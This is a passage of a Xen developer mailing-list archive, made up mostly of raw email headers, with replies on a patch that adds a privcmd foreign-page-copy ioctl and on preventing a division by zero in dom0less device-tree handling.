         r/eGTOg1HkfVwj/67Fr4MhcsF/yrYfyWRSjTwZxLZObh+HyYJR8qbjANZmpPVse4TLFn
         1kNg==
X-Gm-Message-State: AOJu0Yy4xPvPrwdbehu4cV08bGBTF6fMKVPZX64YaQf3zYgA8afr1zVx
	63zFJS4UAS/Xfn/IECA0cl56YKJufdenR0ydPxpeOcd4mWaP7fcIprR+hIvwyw9XZWyzO/hq0H+
	N5KYQ159SwB0z5qi9vSdtEfyeuzF10LI=
X-Gm-Gg: AfdE7cmrOqG7LptmJI1h+9NW0aRU5LO6f63ct8kCZt1C5hphqtm2pjzPACDCX6Yy4Vh
	z1E0mzkkAD0qmZXONkUgbK0MELYPb8zGci9pPRg9IMDdrRikYhVwUsxi1HDZMMcsPna0VRTd1r7
	TNFhG5Gu4YzxtJpJvnQLNN3zP+AZd2pA2hMrUt69sq/HqyfukW2W0HAzpurOt2GmNhLSSWd7XXW
	USvi2cuzYn/j0aqi61o3sqP1nGWaedxZntJUGQayYrb0BmpCD6iBYk8y5o1sHZu0R+3fAjfzSkM
	xlPjwaHfjbi75fnyndVckYz2jdA=
X-Received: by 2002:a05:690e:b4c:b0:667:aa57:686a with SMTP id
 956f58d0204a3-667aa5773b7mr3794473d50.60.1783589847462; Thu, 09 Jul 2026
 02:37:27 -0700 (PDT)
MIME-Version: 1.0
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-14-frediano.ziglio@citrix.com> <1783519155.8631fc262581453bbf619ec5b2062170.19f4206944f00080a8@vates.tech>
In-Reply-To: <1783519155.8631fc262581453bbf619ec5b2062170.19f4206944f00080a8@vates.tech>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Thu, 9 Jul 2026 10:37:14 +0100
X-Gm-Features: AVVi8Cdis0fRnDTEPQdyLuzYm6PjmIW-UDJEZT57ID_YOK36X4gkbVTAEnEBXJ4
Message-ID: <CAHt6W4dkCzf4u1Wr2yqxBdV8YpekbySxpm3Zz0TA+z2CKJ4nxw@mail.gmail.com>
Subject: Re: [PATCH v6 13/16] privcmd: Add definition for new Linux privcmd to
 access new Xen hypercall
To: Anthony PERARD <anthony.perard@vates.tech>
Cc: xen-devel@lists.xenproject.org, 
	Frediano Ziglio <frediano.ziglio@citrix.com>, Jan Beulich <jbeulich@suse.com>, 
	Andrew Cooper <andrew.cooper3@citrix.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Juergen Gross <jgross@suse.com>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-d62444/1783589848-804D21E0-E2FFEC3A/0/0
X-purgate-type: clean
X-purgate-size: 1813

On Wed, 8 Jul 2026 at 14:59, Anthony PERARD <anthony.perard@vates.tech> wrote:
>
> On Fri, Jun 19, 2026 at 02:04:58PM +0100, Frediano Ziglio wrote:
> > diff --git a/tools/include/xen-sys/Linux/privcmd.h b/tools/include/xen-sys/Linux/privcmd.h
> > index 607dfa2287..7a3c41308b 100644
> > --- a/tools/include/xen-sys/Linux/privcmd.h
> > +++ b/tools/include/xen-sys/Linux/privcmd.h
> > @@ -100,6 +100,14 @@ typedef struct privcmd_pcidev_get_gsi {
> >       __u32 gsi;
> >  } privcmd_pcidev_get_gsi_t;
> >
> > +typedef struct privcmd_foreigncopy {
> > +     domid_t dom;          /* Foreign domain. */
> > +     __u16 dir;            /* Direction,  0 from, 1 to. */
> > +     __u32 num;            /* Number of pages to copy. */
> > +     const xen_pfn_t __user *pfns; /* Array of pfns. */
> > +     void __user *buffer;  /* Buffer to copy to/from. */
> > +} privcmd_foreigncopy_t;
> > +
> >  /*
> >   * @cmd: IOCTL_PRIVCMD_HYPERCALL
> >   * @arg: &privcmd_hypercall_t
> > @@ -121,6 +129,8 @@ typedef struct privcmd_pcidev_get_gsi {
> >       _IOC(_IOC_NONE, 'P', 7, sizeof(privcmd_mmap_resource_t))
> >  #define IOCTL_PRIVCMD_PCIDEV_GET_GSI                 \
> >       _IOC(_IOC_NONE, 'P', 10, sizeof(privcmd_pcidev_get_gsi_t))
> > +#define IOCTL_PRIVCMD_FOREIGNCOPY                            \
> > +     _IOWR('P', 11, privcmd_foreigncopy_t)
> >  #define IOCTL_PRIVCMD_UNIMPLEMENTED                          \
> >       _IOC(_IOC_NONE, 'P', 0xFF, 0)
> >
>
> I don't think I can accept this patch until the changes have been added
> to Linux. Also, I think it would be fine to squash this
> changes into the patch that start using this new hypercall.
>

The last patch is for Linux, but I saw no comments on it.
For the merge, yes, it can be done, not a big deal.

Frediano


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:39:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:39:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357734.1612076 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlEG-0002Dw-Pw; Thu, 09 Jul 2026 09:39:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357734.1612076; Thu, 09 Jul 2026 09:39:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlEG-0002Dp-NA; Thu, 09 Jul 2026 09:39:36 +0000
Received: by outflank-mailman (input) for mailman id 1357734;
 Thu, 09 Jul 2026 09:39:35 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1whlEF-0002Dj-Cg
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:39:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlEE-00BOW2-P2
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:39:34 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f6c54-2eae-0a2a0a5409dd-0a2a450bcbca-12
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:39:34 +0200
Received: from [52.101.66.130]
 (helo=DUZPR83CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f6c56-ac48-0a2a450b0019-34654282244e-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:39:34 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by GV2PR03MB8512.eurprd03.prod.outlook.com (2603:10a6:150:a9::14)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 09:39:30 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 09:39:30 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=SH/R+kinjJZIPpSTruAENdNgKt8o0IkxRnyqXz62MkdwR4tsMXEjd4OogYcq75Dx/1yILPHTsKxrvB2Wb4fDfgHrdjfzBw7Gu+0FW4ei29wf5kwSdm8EoOc73lRYuRjH8qaK1eqvTp9r84CZAYyBQNCXZIVNqZUIQPu6s0GhcSJCQYF1X7tD2nKlqiFfc7TohgkOy6T4lPhayjCfHt22fjD0BVf8ABiwins6Ek3pXqwh8RDP0fpdQhsxfonDCB1GEsfb1O06/FgoD0R6TyN2qrhTIPROTlPjiop3rT1UDa4ukjMg1zLIO+v4EiFpH8zr0Fhxr3vHLOneE+mYI3njbA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=c3i0sTs9yITyUzvVUWXlc805miIzL0cqsYbV1HmqOno=;
 b=vEPy/42yye1nhXvdHWpTyczIGdDgFPzzm3tNoEtbBtVGUHFTBhokJ9NXEAzDHs1iKxmLsRl4e2t5RnuJGRThkeGed1G+AHqEM4736ktJxLfrSux4TYPd2mFOt4Yl4qaZ4nZ3CINB56BRVMXOQUi7SJUkzWLGzDT7LARxNCkt9Nkvd2/wQC0eZnYLUAKyiWbrOiCheHE+rFT+W976mXXHcoTmen/EoYtshG9Z5MN8bOXwinH0nTwDQc1JMcZZx5Vb6bssKnm4CyXvWhcKLDp/n3MonwEp0eE64n6Qb/9PRkGZ73cLTQ63p6vRrbjg3o+v4f/0MpgZdPiBa35YUOWPBg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=c3i0sTs9yITyUzvVUWXlc805miIzL0cqsYbV1HmqOno=;
 b=FG2Z4mtBAC9+LssfjgBI5chOLy8jhmQ1FnzaULC/fGS77Uac0CkbwSvj9NrDBNn3jyJjmQ4jB2ZfcLcIyB+nSLm7wKBtvSMnPnSx89aRahVIRxlR468AU+IsNuLOQtAs8TVArimnTk4MY4W1fR2yaBvQkIRUYEytqDgFHprB0d2ZOe4mPI1dZoV+csGoD+7wN+N2ZuzwBJ++LrGVUNyK06ZlPzjbF46WRM4F+NnIBcV043SUIaUzrcRNiDlww9GsydXFSZcTv/4iqEW9I4o3rvNJkhC3UqiPbBOH+yFYKcFzSobx2Rst++v6VWgshFmPrWbKOVqeKc1WSKJMRapFvw==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "Orzel, Michal" <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>, Oleksii
 Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH for-4.22] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH for-4.22] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index:
 AQHdDiOX7r4PlObs6ESPVB8UpORls7ZiOVkAgADswwCAALVbAIAA6KUAgAAPK4CAAB4gAA==
Date: Thu, 9 Jul 2026 09:39:30 +0000
Message-ID: <2dce4d90-4a3c-41f9-96a9-d8aec9f95409@epam.com>
References:
 <cce2493855ce3b610a2d36cbcd149292254170aa.1783436517.git.dmytro_prokopchuk1@epam.com>
 <e494980c-485e-4dc6-ba84-e40fd53442d6@gmail.com>
 <21ec0511-bf7e-44fa-b6f6-99d9c4085eda@suse.com>
 <c8769518-3f84-4c73-920d-975b7efaaf92@epam.com>
 <ec7bc0ef-e267-4240-ad73-13dd17e1575b@suse.com>
 <1991978f-3d3e-4d23-8583-047ef9797d65@amd.com>
In-Reply-To: <1991978f-3d3e-4d23-8583-047ef9797d65@amd.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|GV2PR03MB8512:EE_
x-ms-office365-filtering-correlation-id: a19db578-455c-49b7-6de2-08dedd9df9f7
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|23010399003|376014|42112799006|1800799024|38070700021|22082099003|18002099003|4143699003|56012099006|11063799006|5023799004;
x-microsoft-antispam-message-info:
 cHr7J5pgy0e5dOUkQSWBT+Z2qdLSHIOFC+JF1D8LH/6EuKImpxAljCJlaD3bD0lt3z4ucfIYn4R9P+XxhfoPMwC1u7+WrxGQS5msiOc6V3ieazQa6XUYfu2MX9MF3SyFSOWqYXBrSHTDiC5RzjXBgR1lKJQyCSmqF4PBgo9JIEC9/zS/dguSM0rcgkTElsr+BeovFjswi2dMf+GZRqOiaOOuKi0ztRKmj0QPGvf85aoKGxdQLM/FHeBXHDlSRlf1jRxP1NUUKD3tpBQrciYBg67TkB8bfQn1rEAObrpWiGUpEbUwxN8Ywo12tKC487+rMzfeWganbr8FGgcXwugRb60pYqbXATlvq/q/szFBqMxL6eTcSFRTMulinz4c8gzLRNP7T930yYZAUfZoSoYY+s9lyhwjmo+AY40A2acV+MLXYVcJ0JTgtHqtDKcJJVWSrpoSczZYqZDx/Y/DxSU2HByEoeTF4lwKMcYi+d2DdAYVMJp3PlPHORUt2uqTTi4LNbRiiOZNH3ckmGlkpHHOCC4r+9mXgjJdFeLsbAnyMk2Z1JKChoo/g0Xdcl79ksI7vCVjrNjwtVgyPhJ4qIw3SYsGUQ6QDACNMNu48Yt0FyxRYzpvfXJtRA+sDQYfSmFnqspIs+WjQlyFHxxUWdCz7ZIpXP8+goplrAiYSYcrypaF7GHAE8bqjm+eVkTmK1MdV8b1/H+lqpQtm23nY2hAsZPSYv12l7EWmwjswx/60OI=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(376014)(42112799006)(1800799024)(38070700021)(22082099003)(18002099003)(4143699003)(56012099006)(11063799006)(5023799004);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?UzJzSTZOVnhSMGd0Q1h4M0dQeExFYzIyZlRCMnFOZFZIVFVqNXdBank0S0t5?=
 =?utf-8?B?VWhxNlA0R3lYR3p3YTNWNDd4NE56V01zTUZTdjdjTkI0dkNZWm1La0VQZ2hS?=
 =?utf-8?B?ems5UFlRNWpGUExUd0FyUWZTa0JHMkZzZmJSVzRDRkpoYzNvY2l4VkFYTTEv?=
 =?utf-8?B?OG1wRHNJVlIyeVROUVZQSEZhTnJoemNtOVBZa2xkUDU4WmJjUHJ4bk5vYjRP?=
 =?utf-8?B?RjRQd2l2R3QrcG9JaFZTSXJrS0g0UEVNWjlyTjVpSjVTWmJMcXRhQi9FYVY1?=
 =?utf-8?B?ZXpQampGditOd1pNcHRuSGlMc2FyQWRmemtFWm4zYWx6ZE9waFVQeVBMTGxQ?=
 =?utf-8?B?NGwzNWtLeHNPV0pXYy9rMGNLWEtLREo5b0ZnRGVodTVmL3E0b3pWUVhXWEo3?=
 =?utf-8?B?U1FUTVVySGUrZ2ZSdjBJMWhka2ZxekxjdHgxcUw3Sjd1SndHOHlHeHFpakxk?=
 =?utf-8?B?aHNiRWJ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=
 =?utf-8?B?TXU4UjM3MWs1STNYVkJyVFdvZ3Q3bHZoVXl3b2s1TXNWdU1VQWE2NUFOM0Nl?=
 =?utf-8?B?R1lwT0FnR2RES2s4ZzFuSnk5U0dndlI1NytXaWtZVUMwUjYwV0RpYkQ3bC8v?=
 =?utf-8?Q?HqpGvHaj53jtxYoU=3D?=
Content-Type: text/plain; charset="utf-8"
Content-ID: <F4518296A996E84A89C7FB8AA8E12FD0@eurprd03.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: a19db578-455c-49b7-6de2-08dedd9df9f7
X-MS-Exchange-CrossTenant-originalarrivaltime: 09 Jul 2026 09:39:30.6212
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 5rdnRirpol+5A7U6wjc3hiuzIfiK7c3jNwOKQ48vxtG/0sx4L2P7qhK+B3y7qA3+8G4vV+S2D2Sm+RB69KE9OsJ3ND8LmY77HvvdaxXHVjg=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: GV2PR03MB8512
X-purgate-ID: tlsNG-42698a/1783589974-38942220-889BFC51/0/0
X-purgate-type: clean
X-purgate-size: 4226

DQoNCk9uIDcvOS8yNiAxMDo1MSwgT3J6ZWwsIE1pY2hhbCB3cm90ZToNCj4gDQo+IA0KPiBPbiAw
OS1KdWwtMjYgMDg6NTcsIEphbiBCZXVsaWNoIHdyb3RlOg0KPj4gT24gMDguMDcuMjAyNiAxOTow
NCwgRG15dHJvIFByb2tvcGNodWsxIHdyb3RlOg0KPj4+IEhlbGxvIEphbiwNCj4+Pg0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AgICAgIHsNCj4+
PiAgICAgICAgICAgcHJpbnRrKFhFTkxPR19FUlIgIkludmFsaWQgYWRkcmVzcy9zaXplIGNlbGxz
IGNvbWJpbmF0aW9uXG4iKTsNCj4+PiAgICAgICAgICAgcmV0dXJuIC1FSU5WQUw7DQo+Pj4gICAg
ICAgfQ0KPj4+DQo+Pj4gVGhpcyB3aWxsIGNvdmVyIHplcm8gY2hlY2ssIGFuZCBvdmVyZmxvd3Mu
DQo+Pg0KPj4gSXQnbGwgbmVlZCB0byBiZSB0aGUgbWFpbnRhaW5lcnMgb2YgdGhpcyBjb2RlIHRv
IGp1ZGdlIHdoZXRoZXIgdGhpcyBpcw0KPj4gYXBwcm9wcmlhdGUgaGVyZS4NCj4gSXQgaXMgYnV0
IEkgd291bGQgcHJlZmVyIHRvIHB1dCBpdCBhdCB0aGUgcmVhZCBzaWRlLCBub3QgYXQgdGhlIHVz
ZSBzaWRlLiBQbGFjZQ0KPiBpdCBpbiBzY2FuX3BmZHRfbm9kZSgpIGFmdGVyIGBzaXplX2NlbGxz
ID0gZGV2aWNlX3RyZWVfZ2V0X3UzMmAuDQo+IFRoZSBmaXJzdCBjYWxsIHRvIHNjYW5fcGZkdF9u
b2RlKCkgcGFzc2VzIGRlZmF1bHRzLCBzbyBpdCBpcyBvay4NCj4gDQo+IH5NaWNoYWwNCj4gDQoN
CkhpIE1pY2hhbCwNCg0KTmljZSBpZGVhISBJJ2xsIGNyZWF0ZSB2MyBmb3IgdGhpcy4NCg0KQlIs
IERteXRyby4=


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:40:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:40:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357740.1612085 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlEh-0002vR-7D; Thu, 09 Jul 2026 09:40:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357740.1612085; Thu, 09 Jul 2026 09:40:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlEh-0002uz-1w; Thu, 09 Jul 2026 09:40:03 +0000
Received: by outflank-mailman (input) for mailman id 1357740;
 Thu, 09 Jul 2026 09:40:02 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whlEg-0002jZ-Co
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:40:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlEf-00CxpI-Pk
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:40:01 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f6c6d-2eae-0a2a0a5409dd-0a2a450a94b2-8
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:40:01 +0200
Received: from [74.125.224.51] (helo=mail-yx1-f51.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f6c70-e40e-0a2a450a0019-4a7de033e478-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:40:01 +0200
Received: by mail-yx1-f51.google.com with SMTP id
 956f58d0204a3-664ce3000e6so1630847d50.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 02:40:01 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1783590000; cv=none;
        d=google.com; s=arc-20260327;
        b=P+PlJE6uQhsAX0z12AuGrZPGxGdKw2DImX9WQGlPPMQ+VVpq4yHB6CLJjQeIfoc0aE
         IwT66SswewhF9zJxvd57ovLaO3XlM9YbyPNnaaXkjPvgWBdRNLgni9T4DdAO5TIR0Qi3
         woR4ggfT/51WHhlPBL07o4NMqxRrhhsFVF8Hwn7fs9rROSSQW764RTPZ1RcXPlji0zIL
         HwpCklrIDOq9ypdnPcg+XoLsI01xJutMsWns6Ez6eS4X3E7SSwSKCqUR/A9sT3E+NFym
         YyvTRStGj3XYFDlwGi2tESlQ/ANA5NPL8pneQbQKMt7RBNOq7ToyzLP2NyXvno50N8Ns
         Yazw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=cc:to:subject:message-id:date:from:in-reply-to:references
         :mime-version:dkim-signature;
        bh=dXSTCXF9M505xNK8gWDSnoaUGe+KAoyxX1IiQGnUFTI=;
        fh=aU3/UpxH5Blg8M5NzH55q/XY8irYVWQMVJdPeFRWhhg=;
        b=RW0rC5hmirPKbcmBUEpL1pyShlhbLF1+0rmW1YtntZD12O2X2o9wj7Z+sKobqwxBSM
         I0oPEKTkU0Bxlb4Ufs7QT3K3GnLHy783BgrXQUC5dyK/pCD3QucZ7P2QXyIwJlYYRvw5
         f4uA/6PueaYC64X3hE/3iivKXLIJ+UxqRwYkxsp0rNnfxPIhNAaM8x3bgMX44fRacnTN
         yBgsACrnooHDQR+GWtVxhyF1I5IZyqQBUVfPyQoO/7GtTIk8YTzIaNP7kj2zgrEjGtme
         6fBL5NOrGyuDeBY/CmKbYzTsvJVUUdzqPRRj/mS40hSVAKOsh18jW94UROs/KfFX0tdJ
         7P8w==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783590000; x=1784194800; darn=lists.xenproject.org;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=dXSTCXF9M505xNK8gWDSnoaUGe+KAoyxX1IiQGnUFTI=;
        b=ZnFet37WzlsJELzbr7wX2m8z/NFDb3Wc0SeaJ4sZkfgpOZ/8OUff8epOl8CDaj9Out
         LnFQAfT4JIF01JDbIV1HRLBSxTjCyWjAGB6bxgJmIGoGfQUi0986+xO1V8J5bUjRMt1o
         GCFjdjgVPvcYoVV4ZmqbtUK8Z0nvFFavq4RsygdTYLhyqc+KuhgtEcowNvEUnFvMMs42
         oezkjS1nBxHK0e/5zMDKOqnwJoJwZWh/r1HTGGjB4xFZEb297iR0vZegjYv9c9hY5FnL
         Vq1VPZ1QcK4P9Tey1QcICSWzpUx8Wv24EEqiDCiDCFZK8F7n0GV9e47j0/3fuAgBDqXF
         sK7g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783590000; x=1784194800;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=dXSTCXF9M505xNK8gWDSnoaUGe+KAoyxX1IiQGnUFTI=;
        b=OrUNS0bCmIlXS/UnJXmg2R6bCClYgw0I6iOcEityqtYNJoHLEZbWYFSJNsl+UVIlYV
         50HtZ0iPAg5Yk3xsy96NbRCIWHwDYf4wBzO/fn+y83V99G2BYnv8vdZDkqb5jVkoppHz
         FwXhEJD9Kf3XdvKvzEmYn44T847lWnJCzv/NE4/zr/40XQeXOyBB5UB5uGIOe/++rCOE
         M4W83KLXhcAPY9yh7pngD/ac/5ZTKjWJPvsHgGWUDeew1ZngF4YaDdnzSNMptRYLXXHb
         9dB0Vx8xgZPZaK8W8La2kYB5I8TAwdBmU2nQ07TeR5WakdQuGBZNwSxWV9fcMbeHxWT5
         nEPg==
X-Gm-Message-State: AOJu0Yw5yTdKp+n0In0xpPy086AnS7ELMufG3hMLbPow3zOrvlxRfMq5
	ZItuxcexppseVO+qoQ0H9HXEkRVBpfJ6l/Fl9g18iPs2CY4dVD+bNWTtO1SSTY+qv8gD2YEqEf6
	Z68DEXH+4rEgG9e6FktgYjlpxGGUbUzg=
X-Gm-Gg: AfdE7cnGqVRyjkoV5RToesLj3tFho2GrAAoHhoDu37eXsoNMRz2+Zn25mmrQXs9uG69
	RU/UTCxXIfxGeyeZSu4ekWh1FucDnsuAkZhhqCtaTctw3PM4uojAOPJf+Vb7wY55t70IN53KVjQ
	tXrVxqcHUL98VELIzgG7EQ46Ex2b3k+0s15RsIHKSeuiN1Zls/7WCfRyBHquGIVuqkolWNjyvul
	X/56DhPB2aiV0FHcDIqrZe6lrUe+0XmaKyB62mcM7eJq3uK5CZ1yUsSZhKWIaZqSRlZHMFTG7hf
	zI/mOed5UIThCbkrynaUzE/Fchc=
X-Received: by 2002:a05:690e:144f:b0:667:af05:2e8d with SMTP id
 956f58d0204a3-667af054521mr4180398d50.79.1783590000190; Thu, 09 Jul 2026
 02:40:00 -0700 (PDT)
MIME-Version: 1.0
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-16-frediano.ziglio@citrix.com> <1783519975.8631fc262581453bbf619ec5b2062170.19f421317ed0002807@vates.tech>
In-Reply-To: <1783519975.8631fc262581453bbf619ec5b2062170.19f421317ed0002807@vates.tech>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Thu, 9 Jul 2026 10:39:48 +0100
X-Gm-Features: AVVi8CdBD8yDHAevkJJ1A6RSxEBJwrQb4Pahi5qBXt7phdHQwzHPyYPx5oRoz9M
Message-ID: <CAHt6W4cEG0KyO7W5qfpALZGz9q_foSsGp4aF71VTMC=uBVgAuQ@mail.gmail.com>
Subject: Re: [PATCH v6 15/16] libs/guest: finalize PoC
To: Anthony PERARD <anthony.perard@vates.tech>
Cc: xen-devel@lists.xenproject.org, 
	Frediano Ziglio <frediano.ziglio@citrix.com>, Jan Beulich <jbeulich@suse.com>, 
	Andrew Cooper <andrew.cooper3@citrix.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Juergen Gross <jgross@suse.com>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-4011c0/1783590001-CF537DDE-3A065F3D/0/0
X-purgate-type: clean
X-purgate-size: 674

